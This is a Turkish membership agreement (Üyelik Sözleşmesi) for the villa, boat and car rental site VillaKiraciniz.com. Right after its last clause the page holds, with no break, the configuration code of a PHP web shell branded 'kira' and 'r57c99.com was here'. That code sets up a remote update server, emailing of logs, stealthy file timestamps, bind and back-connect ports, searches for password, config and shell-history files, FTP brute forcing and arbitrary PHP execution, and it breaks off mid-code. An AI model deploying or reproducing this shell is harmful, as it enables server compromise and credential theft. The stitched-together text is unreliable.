İşbu Bireysel Üyelik Sözleşmesi (bundan böyle “Üyelik Sözleşmesi” olarak anılacaktır); “Mustafa Kemal Mahallesi, Dumlupınar Bulvarı, 274 / 7, "Mahall Ankara, B Blok, No: 2, Çankaya / Ankara” adresinde mukim Villa Kiracınız Turizm ve Bilgi Teknolojileri A.Ş (bundan böyle kısaca "Villa Kiracınız" olarak anılacaktır) ile www.VillaKiraciniz.com “Site”sine üye olmak için işbu Üyelik Sözleşmesi ile ayrılmaz parçası olan eklerine ve www.VillaKiraciniz.com sitesinde yer alan şartlar ile kurallara onay veren "Üye" arasında, aktedimiş olup, elektronik ortamda yürürlüğe girmiştir.
2. Tanımlar
“Site”: www.VillaKiraciniz.com isimli alan adından ve bu alan adına bağlı alt alan adlarından oluşan “Villa Kiracınız”nın hizmetlerini sunduğu internet sitesi.
“Kullanıcı”: “Site”ye erişen her gerçek veya tüzel kişi.
“Misafir”: “Site”ye erişen ve hizmet satın alan gerçek veya tüzel kişiler.
“İlan Veren”: “Site” üzerinden mülk, araç ve/veya tekne kiralayan gerçek veya tüzel kişiler.
“Üye”: Mesafeli Sözleşmeler Yönetmeliği uyarınca, www.VillaKiraciniz.com “Site”sininde “Villa Kiracınız Üyelik Sözleşmesi”ni okuyup anladığını kabul eden ve dijital ortamda bunu onaylayan her “Kullanıcı”.
“Üyelik”: “Üye” olmak isteyen “Kullanıcı”nın, “Site”deki üyelik formunu doğru ve gerçek bilgilerle doldurması gerekmektedir. Üyelik işlemleri tamamlanmadan “Üye” olma hak ve yetkisine sahip olunamaz. “Üyelik” hak ve yükümlülükleri, başvuruda bulunana ait olan, kısmen veya tamamen herhangi bir üçüncü şahsa devredilemeyen hak ve yükümlülüklerdir. “Üyelik” başvurusu herhangi bir sebep gösterilmeksizin “Villa Kiracınız” tarafından reddedilebilir veya ek şart ve koşullar talep edilebilir. “Villa Kiracınız” gerekli görmesi halinde “Üye”nin “Üyelik” statüsünü sona erdirebilir, “Üyelik”i herhangi bir sebeple sona erenin sonradan yapacağı “Üyelik” başvurusunu kabul etmeyebilir.
"Üyelik Sözleşmesi": “Site”de yer alan şartlar ve koşullar ile eklerden oluşan, kullanıcının “Üyelik Sözleşmesi”ni anladığına ve kabul ettiğine ilişkin elektronik olarak verdiği onay neticesinde elektronik ortamda akdedilen, ayrılmaz parçası olan ekler ile “Site”de yer alan şart ve kurallarla birlikte bir bütün olan elektronik sözleşme.
"Villa Kiracınız Üyelik Hesabı": “Üye”nin "Site" içerisinde sunulan hizmetlerden yararlanmak için gerekli olan iş ve işlemleri gerçekleştirdiği, "Üyelik”le ilgili konularda "Villa Kiracınız"ya talepte bulunduğu, "Üyelik bilgilerini güncelleyip, sunulan hizmetlerle ilgili raporlamaları görüntüleyebildiği, kendisinin belirlediği ve münhasıran kendisi tarafından kullanılacağını taahhüt ettiği "kullanıcı adı" ve "şifre" ile "Site" üzerinden eriştiği "Üye"ye özel internet sayfaları bütünü.
“Villa Kiracınız Hizmetleri” ("Hizmetler"): "Site" içerisinde "Üye"nin işbu “Üyelik Sözleşmesi” içerisinde tanımlı olan iş ve işlemlerini gerçekleştirmelerini sağlamak amacıyla “Villa Kiracınız” tarafından sunulan uygulamalardır. "Villa Kiracınız", "Site" içerisinde sunulan "Hizmetler"inde dilediği zaman değişiklikler ve/veya uyarlamalar yapabilir. Yapılan değişiklikler ve/veya uyarlamalarla ilgili "Üye"nin uymakla yükümlü olduğu kural ve koşullar “Site”den "Üye"ye duyurulur, açıklanan şartlar ve koşullar “Site”de yayımlandığı tarihte yürürlüğe girer.
“İçerik”: “Site”de yayınlanan ve erişimi mümkün olan her türlü bilgi, yazı, dosya, resim, video, rakam vb. görsel, yazınsal ve işitsel imgeler.
"Villa Kiracınız Arayüzü" : Villa Kiracınız ve "Üye"ler tarafından oluşturulan içeriğin "Kullanıcı”lar tarafından görüntülenebilmesi ve "Villa Kiracınız Veritabanı"ından sorgulanabilmesi amacıyla "Kullanıcı”lar tarafından kullanılan; 5846 Sayılı Fikir ve Sanat Eserleri Kanunu kapsamında korunan ve tüm fikri hakları “Villa Kiracınız”ya ait olan tasarımlar içerisinde “Site” üzerinden yapılabilecek her türlü işlemin gerçekleştirilmesi için bilgisayar programına komut veren internet sayfaları.
“Villa Kiracınız Veritabanı”: “Site” dahilinde erişilen içeriklerin depolandığı, tasnif edildiği, sorgulanabildiği ve erişilebildiği “Villa Kiracınız”ya ait olan 5846 Sayılı Fikir ve Sanat Eserleri Kanunu gereğince korunan veritabanıdır.
“Seyahatlerim” sayfası: "Üye"nin "Site"de yer alan ev, tekne ve araç kiralama "Hizmetler”inden yararlanabilmesi için gerekli işlemleri gerçekleştirebildiği, sadece "Üye" tarafından belirlenen kullanıcı adı ve şifre ile erişilebilen "Üye"ye özel sayfa.
“Kullanıcı Bilgilerim” sayfası: "Üye"nin "Site"de yer alan "Hizmetler”den yararlanabilmesi için gerekli işlemleri gerçekleştirebildiği, kişisel bilgilerini, tercihlerini, uygulama bazında kendisinden talep eden bilgileri girdiği, sadece "Üye" tarafından belirlenen kullanıcı adı ve şifre ile erişilebilen "Üye"ye özel sayfa.
“Kişisel Veri”: 6698 sayılı Kişisel Verilerin Korunması Hakkında Kanun’un (KVKK) 3/d maddesi uyarınca, kimliği belirli veya belirlenebilir gerçek kişiye ilişkin her türlü bilgi ile KVKK m.6/1’de sayılan özel nitelikli kişisel verilerdir.
“Özel nitelikli kişisel veri”: Kişilerin ırkı, etnik kökeni, siyasi düşüncesi, felsefi inancı, dini, mezhebi veya diğer inançları, kılık ve kıyafeti, dernek, vakıf ya da sendika üyeliği, sağlığı, cinsel hayatı, ceza mahkûmiyeti ve güvenlik tedbirleriyle ilgili verileri ile biyometrik ve genetik verileri özel nitelikli kişisel veridir.
3. “Üyelik Sözleşmesi”nin Konusu ve Kapsamı.
İşbu “Üyelik Sözleşmesi”nin konusu, "Site"de sunulan hizmetlerin, bu hizmetlerden yararlanma şartları ile tarafların hak ve yükümlülüklerinin tespitidir. “Üyelik Sözleşmesi” "Site" içerisinde yer alan kullanıma, üyeliğe ve hizmetlere ilişkin “Villa Kiracınız” tarafından yapılan tüm uyarı, bildirim, uygulama ve açıklama gibi beyanlar kapsam dâhilindedir. "Kullanıcı", işbu “Üyelik Sözleşmesi” hükümlerini kabul etmekle, "Site" içinde yer alan kullanıma, “Üyelik”e ve “Hizmetler”e ilişkin “Villa Kiracınız” tarafından açıklanan her türlü beyana uygun davranacağını kabul ve taahhüt etmektedir.
4. Üyelik Şartları
4.1 "Site"ye üye olabilmek için reşit olmak ve “Villa Kiracınız” tarafından işbu “Üyelik Sözleşmesi” kapsamında geçici olarak üyelikten uzaklaştırılmamış, üyeliği askıya alınmamış veya üyelikten süresiz yasaklanmamış olmak gerekmektedir.
4.2 “Villa Kiracınız” herhangi bir zamanda gerekçe göstermeden, bildirimde bulunmadan, tazminat, ceza vb. sair yükümlülüğü bulunmaksızın derhal yürürlüğe girecek şekilde işbu “Üyelik Sözleşmesi”ni tek taraflı olarak feshedebilir, "Üye"nin “Üyelik”ine son verebilir veya geçici olarak durdurabilir. "Site"de belirtilen kurallara aykırılık halleri, “Üye”nin "Villa Kiracınız" bilgi güvenliği sistemine risk oluşturması halleri üyeliğe son verme veya üyeliği geçici durdurma hallerindendir.
5. Tarafların Hak ve Yükümlülükleri
5.1 "Üye"nin Hak ve Yükümlülükleri
5.1.1 “Üye", “Site"de belirtilen kurallara, beyanlara, yürürlükteki tüm mevzuata ve ahlak kurallarına uygun hareket edeceğini, “Üyelik Sözleşmesi” hükümleri ile “Site”deki tüm şart ve kuralları anladığını ve onayladığını kabul ve taahhüt etmektedir.
5.1.2 "Üye”, “Villa Kiracınız”nın yürürlükteki mevzuat hükümleri gereğince resmi makamlara açıklama yapmakla yükümlü olduğu durumlarda; “Üye”lere ait gizli/özel/kişisel veri-özel nitelikli kişisel veri/ticari bilgileri resmi makamlara açıklamaya yetkili olduğunu, bu sebeple “Villa Kiracınız”dan her ne nam altında olursa olsun tazminat talep etmeyeceğini kabul ve taahhüt etmektedir. Bunun haricinde “Üye”nin “Site” üzerinde verdiği ilanlarla ilgili olarak herhangi bir kişi ya da kurumun haklarının ihlal edildiği iddiası ile “Villa Kiracınız”ya bildirimde bulunması, yargı yoluna başvuracağını bildirmesi halinde; “Üye”nin kendisine bildirdiği ad-soyad bilgisini “Villa Kiracınız” ilgili tarafa verebilir.
5.1.3. “Üye” tarafından gerekli kimlik bilgilerinin siteye girilmesi ve “Üye”nin e-posta adresine gönderilecek e-postanın teyit edilmesi ile üyelik kayıt işlemi tamamlanır. Üyelik kayıt işlemini tamamlayan herkes “Site”nin “Üye”si olmuş sayılmaktadır. İşbu sözleşme tüm üyeler için geçerli olup, yeni kullanıcılar için üyelik kayıt işleminin tamamlanması ile mevcut kullanıcılar için onaylandığı tarihte yürürlüğe girmiş kabul edilir. "Üye"lerin, “Villa Kiracınız Üyelik Hesabı”na girişte kullandıkları "kullanıcı adı" ve "şifre"nin güvenliğini sağlamaları, münhasıran ve münferiden kendileri tarafından kullanılmasını temin etmeleri, üçüncü kişilerden saklamaları tamamen kendi sorumluluğundadır. Bu konuda ihmal veya kusurlarından dolayı diğer “Üye"lerin ve/veya “Villa Kiracınız”nın ve/veya üçüncü kişilerin uğradığı veya uğrayabileceği maddi ve/veya manevi her tür zararlardan “Üye” sorumludur.
5.1.4. "Üye", "Site" dahilinde kendisi tarafından sağlanan bilgilerin ve içeriklerin doğru ve hukuka uygun olduğunu, söz konusu bilgi ve içeriklerin "Site" üzerinde yayınlanmasının veya bu içeriklerle bağlantılı ürünlerin satışının ve teşhirinin, yürürlükteki mevzuat doğrultusunda herhangi bir hukuka aykırılık yaratmadığını kabul ve taahhüt etmektedir. "Villa Kiracınız", "Üye" tarafından "Villa Kiracınız"ya iletilen veya "Site" üzerinden “Üye” tarafından yüklenen bilgilerin ve içeriklerin doğruluğunu araştırmakla yükümlü ve sorumlu olmadığı gibi, söz konusu bilgi ve içeriklerin yanlış veya hatalı olmasından veya yayınlanmasından dolayı ortaya çıkacak hiçbir zarardan sorumlu tutulamaz.
5.1.5. "Üye", "Villa Kiracınız"nın yazılı onayı olmadan işbu “Üyelik Sözleşmesi”ni veya bu “Üyelik Sözleşmesi”nin kapsamındaki hak ve yükümlülüklerini kısmen veya tamamen herhangi bir üçüncü kişiye devredemez.
5.1.6. “Üye” hukuka uygun amaçlarla "Site" üzerinde işlem yapabilir. "Üye"nin, "Site" dahilinde yaptığı her işlem ve eylemdeki hukuki ve cezai sorumluluk kendisine aittir. "Üye", "Villa Kiracınız"nın ve/veya başka bir üçüncü şahsın ayni veya şahsi haklarına, malvarlığına, kişisel verilerine tecavüz teşkil edecek nitelikteki "Site" dâhilinde bulunan resimleri, metinleri, görsel ve işitsel imgeleri, video klipleri, dosyaları, veritabanları, katalogları ve listeleri çoğaltmayacağını, kopyalamayacağını, dağıtmayacağını, işlemeyeceğini, başka veritabanına aktarmayacağını veya bu nitelikte sonuçlar doğurabilecek şekilde "Site"ye yüklemeyeceğini; bu tür eylemler gerçekleştirerek herhangi bir ticari faaliyette bulunmayacağını; gerek bu eylemleri ile gerekse de başka yollarla doğrudan ve/veya dolaylı olarak haksız rekabet teşkil eden davranış ve işlemler gerçekleştirmeyeceğini kabul ve taahhüt etmektedir. "Üye"nin işbu “Üyelik Sözleşmesi” hükümlerine ve hukuka aykırı olarak gerçekleştirdikleri "Site" üzerindeki faaliyetler nedeniyle üçüncü kişilerin uğradıkları veya uğrayabilecekleri zararlardan dolayı "Villa Kiracınız" doğrudan ve/veya dolaylı olarak hiçbir şekilde sorumlu tutulamaz.
5.1.7. “Villa Kiracınız”, “Üye”lerin sadece ilgili ilanların içeriklerini öğrenme amacıyla ilanları görüntülemesine ve “Villa Kiracınız Arayüzü”nü kullanmasına izin vermekte olup, bunun dışında bir amaçla veri tabanı üzerinden belirli bir sayıda veya bütününe yönelik olarak ilanlara ulaşılmaya çalışılması, ilanların kısmen veya tamamen kopyalanması, bunların başka mecralarda doğrudan veya dolaylı olarak yayınlanması, derlenmesi, işlenmesi, başka veritabanlarına aktarılması, bu veritabanından üçüncü kişilerin erişimine ve kullanımına açılması, “Villa Kiracınız” üzerindeki ilanlara link verilmesi de dahil olmak üzere benzer fiillerin işlenmesine “Villa Kiracınız” tarafından izin verilmemekte ve rıza gösterilmemektedir. Bu tür fiiller hukuka aykırı olup; "Villa Kiracınız” gerekli talep, dava ve takip hakları saklıdır.
5.1.8. “Üye”, üçüncü şahıslardan aldığı mal ve hizmetlerdeki ayıplarla ilgili “Villa Kiracınız”nın herhangi bir sorumluluğu bulunmadığını, Tüketicinin Korunması Hakkındaki Kanun ve ilgili sair mevzuat kapsamındaki her türlü talep ve sorumluluğun muhatabının ilgili mal ve hizmeti satıcısına ait olduğunu ve bunlara ilişkin olarak her tür sorumluluk ve yükümlülükten “Villa Kiracınız”yı ibra ettiğini kabul ve taahhüt etmektedir.
5.1.9 “Üye” “Site” üzerinden verdiği ilanlarda belirttiği ve vaat ettiği özelliklerin doğru olduğunu kabul etmiş sayılır. “Misafir”in, “İçerik” te belirtilmiş herhangi bir özelliğin, kiraya konu olan mal ya da hizmette bulunmaması ve bunu belgelendirdiği hâllerde “İlan Veren”, rezervasyon tutarını misafire iade etmekle yükümlü olduğunu taahhüt etmiştir. “İlan Veren”, ilana verdiği mal ya da hizmete ilişkin “Site” de sunduğu tüm yazılı-görsel bilgilerin gerçek olduğunu beyan etmiş sayılır.
5.1.10 “Misafir” in, rezervasyon işlemini gerçekleştirilen vermiş olduğu kimlik bilgilerinin (kimlik, pasaport gibi) “Site” ile bir ilgisi bulunmamakta olup, bu bilgiler, 1774 Sayılı Kimlik Bildirme Kanunu’nun 2. Maddesi’nin 1. Fıkrası’nca, rezervasyon sırasında oluşabilecek sorunların önüne geçebilmek için “İlan Veren” tarafından istenmektedir. “Misafir”, kendisinden istenilen bilgi ve belgeleri (kimlik,pasaport ) gerçeğe uygun olarak vermelidir. Gerçeğe uymayan beyanlarda, “İlan Veren”in rezervasyonu iptal etme hakkı saklıdır. Verilen bilgilerin doğruluğundan misafir sorumludur. Yanlış beyan edilen bilgilerden kaynaklanan rezervasyon iptallerinde ödeme iadesi yapılmayacaktır.
5.2. "Villa Kiracınız"nın Hak ve Yükümlülükleri
5.2.1. "Villa Kiracınız", “Üye”lerine internet üzerinden kısa dönemli konut, kısa dönemli tekne, kısa dönemli araç, araç transfer hizmetleri kiralama ve kiraya verme imkânı sunan sanal bir pazaryeri sağlamaktadır. İşbu “Üyelik Sözleşmesi”nde bahsi geçen hizmetleri; ilgili hizmetlerin sunumuyla ilgili "Villa Kiracınız Üyelik Hesabı" içerisinde belirtilen açıklamalar ve işbu “Üyelik Sözleşmesi”nde belirtilen koşullar dâhilinde yerine getirmeyi, işbu “Üyelik Sözleşmesi” kapsamında belirtilen hizmetlerin sunulabilmesi için gerekli olan teknolojik altyapıyı tesis etmeyi ve işletmeyi kabul, beyan ve taahhüt eder. İşbu madde içerisinde belirtilen teknolojik altyapı tesis etme yükümlülüğü, sınırsız ve eksiksiz bir hizmet taahhüdü anlamına gelmemektedir; “Villa Kiracınız” her zaman herhangi bir bildirimde bulunmadan işbu “Üyelik Sözleşmesi” ile belirlenen hizmetlerini ve teknolojik altyapısını durdurabilir veya son verebilir.
5.2.2. "Villa Kiracınız", "Site"de sunulan hizmetleri ve içerikleri her zaman değiştirebilme; "Üye"lerin sisteme yükledikleri bilgileri ve içerikleri "Site" kullanıcıları da dâhil olmak üzere üçüncü kişilerin erişimine kapatabilme ve silme hakkını saklı tutmaktadır. "Villa Kiracınız", bu hakkını hiçbir bildirimde bulunmadan ve ek süre vermeden kullanabilir. "Üye"ler, "Villa Kiracınız"nın talep ettiği değişiklik ve/veya düzeltmeleri ivedi olarak yerine getirmek zorundadırlar. Değişiklik ve/veya düzeltmeleri gerekli görüldüğü takdirde "Villa Kiracınız" yapabilir. "Villa Kiracınız" tarafından talep edilen değişiklik ve/veya düzeltme taleplerinin, kullanıcılar tarafından zamanında yerine getirilmemesi sebebiyle doğan veya doğabilecek zararlar, hukuki ve cezai sorumluluklar tamamen kullanıcılara aittir.
5.2.3. "Site"de kullanıcıların bir başka siteye yazılı ya da görsel, hiçbir şekilde bağlantı eklemesine izin verilmez. “İlan Veren” ilan için ayrılmış alanlarda bir başka siteye bağlantı veremez. “Üye”ler, ilanlarla ilgili yorum ve değerlendirme yapabilmeleri için ayrılmış alanlarda, kullanıcıları bir başka siteye yönlendirecek bağlantı adresi, kısaltması vb. yazamaz, bu işlevi sunacak herhangi bir eylemde bulunamaz.
5.2.4. "Villa Kiracınız", "Site"nin işleyişine, hukuka, başkalarının haklarına, “Üyelik Sözleşmesi” koşullarına, kişisel verilerin korunmasına genel ahlak kurallarına aykırı olan mesajları, içerikleri istediği zaman ve şekilde erişimden kaldırabilir; "Villa Kiracınız" bu mesaj ve içeriği giren "Üye"nin üyeliğine herhangi bir bildirim yapmadan son verebilir.
5.2.5. "Villa Kiracınız’nın, "Villa Kiracınız" çalışanlarının ve yöneticilerinin, “Site”de “Üye”ler ve “Kullanıcı”lar tarafından sağlanan içeriklerin ve kiraya sunulan ürün ve hizmetlerin doğruluğu, kalitesi, hukuka uygun olup olmadığını, gerçekliğini, doğruluğunu araştırmak ve kontrol etmek yükümlülüğü bulunmamaktadır.
5.2.6. "Villa Kiracınız", 5651 sayılı "İnternet Ortamında Yapılan Yayınların Düzenlenmesi ve Bu Yayınlar Yoluyla İşlenen Suçlarla Mücadele Edilmesi Hakkında Kanun" kapsamında ve bu Kanun doğrultusunda Telekomünikasyon Kurumu İletişim Başkanlığı’nın 17.01.2013 tarih ve 581 Belge no’lu yazısı ile "Yer Sağlayıcı" olarak faaliyet göstermektedir.
5.2.7. "Villa Kiracınız", "İlan Veren"lerin siteye "Üye" olduktan sonra ilan eklerken "Site"ye yüklediği her türlü görsel, video, yazılı metinleri satış ve pazarlama amacıyla TV, Radyo, Sinema, Gazete, Dergi, Billboard ve Dijital Mecralarda kullanma hakkına sahiptir.
6. Gizlilik Politikası
6.1 “Villa Kiracınız”, "Site"de "Üye"lerle ilgili bilgileri işbu “Üyelik Sözleşmesi” ve işbu “Üyelik Sözleşmesi”nin eklerinden biri ve ayrılmaz parçası olan EK-1 Gizlilik Politikası kapsamında kullanabilir. “Villa Kiracınız” "Üye"lere ait gizli bilgileri ancak Gizlilik Politikası’nda belirtilen koşullar dâhilinde üçüncü kişilere açıklayabilir veya kullanabilir.
6.2. “Üye”nin kişisel veri teşkil edebilecek ve kendisi tarafından Site’ye girilen verileri “Villa Kiracınız” tarafından “Site”nin fonksiyonlarının kullandırılması ve yukarıda sayılan amaçlarla toplanmaktadır. “Üye” bu verilerin toplanmasının, işlenmesinin ve aktarılmasının öncelikle Site’nin işleyebilmesinin zorunlu bir unsuru olduğunu, aksi takdirde Site’de sunulan hizmetlerden ve özelliklerden yararlanmalarının mümkün olmadığını kabul, beyan ve taahhüt eder.
6.3 “Üye” işbu sözleşme ve eklerindeki kişisel verilerin kullanımı ile ilgili olarak işbu sözleşmede ve her bir ek özelinde belirtilmiş olan amaçlar doğrultusunda ve/veya “Site”nin fonksiyonlarının kullanılabilmesi için kişisel verilerin toplanması, işlenmesi ve aktarılmasına açık rızasıyla muvafakat verdiğini kabul ve beyan eder. Kişisel Verilerin Korunması Hakkında detaylı bilgi için EK-1 Gizlilik Politikası ziyaret edilmelidir.
7. İptal Politikası
7.1 “İlan Veren”ler hizmet ile ilgili iptal işlemlerini işbu “Üyelik Sözleşmesi” ve işbu “Üyelik Sözleşmesi”nin eklerinden biri ve ayrılmaz parçası olan EK-2 İptal Şartları çerçevesinde seçebilirler. “Misafir”, “İlan Veren”in seçtiği iptal şartları çerçevesinde iptal işlemini gerçekleştirebilir.
7.2 “Misafir”, rezervasyon işlemini gerçekleştirdikten sonra, ilanda belirtilen İptal Şartını okuduğunu ve anladığını kabul etmiş sayılır. “Misafir”in rezervasyonunu iptal etmek istediği durumlarda “İlan Veren”,ilanda açık bir şekilde belirttiği iptal prosedürüne uygun olarak, ücret iadesini gerçekleştirir.
7.3 Yalnızca aşağıda belirtilen durumlarda “Üye”nin rezervasyonu koşulsuz iptal etme hakkı vardır.
Rezervasyon saatine 6 saat kalaya kadar müşteri veya VillaKiraciniz.com müşteri hizmetleri tarafından ilan sahibine ulaşamaması
Ailede vefat (ispat gereklidir)
Gidilecek bölgede doğal afet
8. Cayma Hakkı
6502 sayılı Tüketicinin Korunması Hakkında Kanunun 48 inci ve 84 üncü maddelerine dayanılarak hazırlanan Mesafeli Sözleşmeler Yönetmeliği’nin 15. maddesi’nin (g) bendi uyarınca, Belirli bir tarihte veya dönemde yapılması gereken, konaklama, eşya taşıma, araba kiralama, yiyecek-içecek tedariki ve eğlence veya dinlenme amacıyla yapılan boş zamanın değerlendirilmesine ilişkin sözleşmelerde tüketici cayma hakkını kullanamaz.
9. Vergilendirme ve Fatura
9.1 “Site” üzerinden yapılan rezervasyonlarda, Villa Kiracınız tarafından hizmet bedeli tutarı kadar fatura kesilir.
9.2 “İlan Veren”ler, kira gelirleri için beyanname vermekle yükümlüdür. Vergi mükellefi olmayan ilan sahipleri fatura düzenleyemezler, sadece vergi beyanında bulunabilirler.
9.3 “Site” üzerinden “İlan Veren” ve işletme belgesi bulunan işletmeler veya ticari tesisler “Site” aracılığı ile misafirden tahsil ettikleri ücret karşılığında misafire fatura vermekle yükümlüdür.
10. Yürürlük
İşbu “Üyelik Sözleşmesi” ve “Üyelik Sözleşmesi”yle atıfta bulunulan ve “Üyelik Sözleşmesi”nin ayrılmaz bir parçası olan ekler ile “Site”de yer alan kurallar ve şartlar, "Üye"nin elektronik olarak onay vermesi ile elektronik ortamda akdedilerek yürürlüğe girmiştir. “Üyelik Sözleşmesi”nin herhangi bir hükmünün geçersizliği, mevzuata aykırılığı veya uygulanabilir olmaması “Üyelik Sözleşmesi”nin geri kalan hükümlerinin yürürlüğünü etkilemeyecektir.
$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);}
$_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}
$shver = "r57c99.com was here"; //Current version
//CONFIGURATION AND SETTINGS
if (!empty($unset_surl)) {setcookie("k1r4_surl"); $surl = "";}
elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("k1r4_surl",$surl);}
else {$surl = $_REQUEST["k1r4_surl"]; //Set this cookie for manual SURL
}
$surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL.
if ($surl_autofill_include and !$_REQUEST["k1r4_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}}
if (empty($surl))
{
$surl = "?".$includestr; //Self url
}
$surl = htmlspecialchars($surl);
$timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited.
$host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1")
$login_txt = "Restricted area"; //http-auth message.
$accessdeniedmess = " r57c99.com".$shver.": access denied";
$gzipencode = TRUE; //Encode with gzip?
$updatenow = FALSE; //If TRUE, update now (this variable will be FALSE)
$k1r4_updateurl = "http://emp3ror.com/kira//update/"; //Update server
$k1r4_sourcesurl = "http://emp3ror.com/kira/"; //Sources-server
$filestealth = TRUE; //if TRUE, don't change modify- and access-time
$donated_html = "
Owned by r57c99.com
";
/* If you publish free shell and you wish
add link to your site or any other information,
put here your html. */
$donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html.
$curdir = "./"; //start folder
//$curdir = getenv("DOCUMENT_ROOT");
$tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp)
$tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...)
$log_email = "dangerover@dangerover.net"; //Default e-mail for sending logs
$sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending
$sort_save = TRUE; //If TRUE then save sorting-position using cookies.
// Registered file-types.
// array(
// "{action1}"=>array("ext1","ext2","ext3",...),
// "{action2}"=>array("ext4","ext5","ext6",...),
// ...
// )
$ftypes = array(
"html"=>array("html","htm","shtml"),
"txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
"exe"=>array("sh","install","bat","cmd"),
"ini"=>array("ini","inf"),
"code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
"img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
"sdb"=>array("sdb"),
"phpsess"=>array("sess"),
"download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
);
// Registered executable file-types.
// array(
// string "command{i}"=>array("ext1","ext2","ext3",...),
// ...
// )
// {command}: %f% = filename
$exeftypes = array(
getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
"perl %f%" => array("pl","cgi")
);
/* Highlighted files.
array(
i=>array({regexp},{type},{opentag},{closetag},{break})
...
)
string {regexp} - regular exp.
int {type}:
0 - files and folders (as default),
1 - files only, 2 - folders only
string {opentag} - open html-tag, e.g. "" (default)
string {closetag} - close html-tag, e.g. "" (default)
bool {break} - if TRUE and found match then break
*/
$regxp_highlight = array(
array(basename($_SERVER["PHP_SELF"]),1,"",""), // example
array("config.php",1) // example
);
$safemode_diskettes = array("a"); // This variable for disabling diskett-errors.
// array (i=>{letter} ...); string {letter} - letter of a drive
//$safemode_diskettes = range("a","z");
$hexdump_lines = 8;// lines in hex preview file
$hexdump_rows = 24;// 16, 24 or 32 bytes in one line
$nixpwdperpage = 100; // Get first N lines from /etc/passwd
$bindport_pass = "k1r4"; // default password for binding
$bindport_port = "31373"; // default port for binding
$bc_port = "31373"; // default port for back-connect
$datapipe_localport = "8081"; // default port for datapipe
// Command-aliases
if (!$win)
{
$cmdaliases = array(
array("-----------------------------------------------------------", "ls -la"),
array("find all suid files", "find / -type f -perm -04000 -ls"),
array("find suid files in current dir", "find . -type f -perm -04000 -ls"),
array("find all sgid files", "find / -type f -perm -02000 -ls"),
array("find sgid files in current dir", "find . -type f -perm -02000 -ls"),
array("find config.inc.php files", "find / -type f -name config.inc.php"),
array("find config* files", "find / -type f -name \"config*\""),
array("find config* files in current dir", "find . -type f -name \"config*\""),
array("find all writable folders and files", "find / -perm -2 -ls"),
array("find all writable folders and files in current dir", "find . -perm -2 -ls"),
array("find all service.pwd files", "find / -type f -name service.pwd"),
array("find service.pwd files in current dir", "find . -type f -name service.pwd"),
array("find all .htpasswd files", "find / -type f -name .htpasswd"),
array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
array("find all .bash_history files", "find / -type f -name .bash_history"),
array("find .bash_history files in current dir", "find . -type f -name .bash_history"),
array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
array("list file attributes on a Linux second extended file system", "lsattr -va"),
array("show opened ports", "netstat -an | grep -i listen")
);
}
else
{
$cmdaliases = array(
array("-----------------------------------------------------------", "dir"),
array("show opened ports", "netstat -an")
);
}
$sess_cookie = "k1r4vars"; // Cookie-variable name
$usefsbuff = TRUE; //Buffer-function
$copy_unset = FALSE; //Remove copied files from buffer after pasting
//Quick launch
$quicklaunch = array(
array("",$surl),
array("","#\" onclick=\"history.back(1)"),
array("","#\" onclick=\"history.go(1)"),
array("",$surl."act=ls&d=%upd&sort=%sort"),
array("",""),
array("",$surl."act=search&d=%d"),
array("",$surl."act=fsbuff&d=%d"),
array("Encoder",$surl."act=encoder&d=%d"),
array("Tools",$surl."act=tools&d=%d"),
array("Proc.",$surl."act=processes&d=%d"),
array("FTP brute",$surl."act=ftpquickbrute&d=%d"),
array("Sec.",$surl."act=security&d=%d"),
array("SQL",$surl."act=sql&d=%d"),
array("PHP-code",$surl."act=eval&d=%d"),
array("Update",$surl."act=update&d=%d"),
array("Feedback",$surl."act=feedback&d=%d"),
array("Self remove",$surl."act=selfremove"),
array("Logout","#\" onclick=\"if (confirm('Are you sure?')) window.close()")
);
//Highlight-code colors
$highlight_background = "#c0c0c0";
$highlight_bg = "#FFFFFF";
$highlight_comment = "#6A6A6A";
$highlight_default = "#0000BB";
$highlight_html = "#1300FF";
$highlight_keyword = "#007700";
$highlight_string = "#000000";
@$f = $_REQUEST["f"];
@extract($_REQUEST["k1r4cook"]);
//END CONFIGURATION
// \/Next code isn't for editing\/
@set_time_limit(0);
$tmp = array();
foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));}
$s = "!^(".implode("|",$tmp).")$!i";
if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("kira: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");}
if (!empty($login))
{
if (empty($md5_pass)) {$md5_pass = md5($pass);}
if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass))
{
if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace(" | "," ",$donated_html));}
header("WWW-Authenticate: Basic realm=\"kira ".$shver.": ".$login_txt."\"");
